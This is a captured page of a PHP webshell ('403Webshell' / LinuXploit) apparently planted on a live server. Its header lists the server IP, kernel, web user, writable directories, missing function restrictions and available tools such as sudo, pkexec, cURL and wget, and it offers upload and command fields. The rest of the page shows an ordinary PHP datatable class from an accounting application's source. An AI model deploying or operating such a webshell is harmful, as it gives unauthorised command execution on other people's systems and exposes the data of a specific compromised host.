403Webshell
Server IP : 37.9.174.138  /  Your IP : 216.73.216.117
Web Server : Apache
System : Linux vps6.backend.sk 6.12.100+deb13-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.12.100-1 (2026-07-30) x86_64
User : ftpuser ( 1001)
PHP Version : 8.4.24
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/backend-accounting.sk/app/modules/dpfob/code/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/backend-accounting.sk/app/modules/dpfob/code/DPFOBExtendedDatatable.php
<?php

/*
 * To change this license header, choose License Headers in Project Properties.
 * To change this template file, choose Tools | Templates
 * and open the template in the editor.
 */

/**
 * @author Maroš
 */

namespace modules\dpfob\code;

class DPFOBExtendedDatatable extends \modules\extendedDatatable\code\ExtendedDatatable {

    private $user;

    public function __construct() {
        parent::__construct("/modules/dpfob/", "dpfob_datatable");
        $this->user = \app\classes\BasicUser::getLoggedUser();
    }

    public function processRow($array, $key, $params = array()) {
        $actions = array(
//            "<span data-toggle='tooltip' title='" . $this->t->_get("Zmazať") . "' class='btn readOnlyHidden btn-danger btn-xs' onclick='deleteItem(" . $array["id"] . ")'><i class='fa fa-trash'></i></span>",
            "<span data-toggle='tooltip' title='" . $this->t->_get("Zobraziť") . "' style='margin-left: 5px' class='btn btn-primary btn-xs' onclick='openModalIframe(\"#iframeModalFullScreen\", \"" . "[" . $array["public_id"] . "] " . $array["client"] . "\", \"/iframe-dpfob/?id=" . $array["id"] . "\")'><i class='fa fa-eye'></i></span>",
        );

        if ($this->user->getType() !== \app\constants\UserType::CONSULTANT) {
            $actions = array_merge([
                    ], $actions);
        }

        $array["deadline"] = $array["deadline"] . "__" . $array["created"] . "__" . $array["status"];

        $this->data[$key] = array(implode("", $actions)) + $array;
    }

    public function getFixedSqlCondition() {
        if ($this->user->getType() === \app\constants\UserType::CONSULTANT) {
            return "(dpfob.accountant_id=:users_id OR dpfob.accountant_id IS NULL)";
        }
        return "";
    }

//
    public function getFixedBindArray() {
        if ($this->user->getType() === \app\constants\UserType::CONSULTANT) {
            return array(
                "users_id" => $this->user->_get("id"),
            );
        }
        return array();
    }

}

Youez - 2016 - github.com/yon3zu
LinuXploit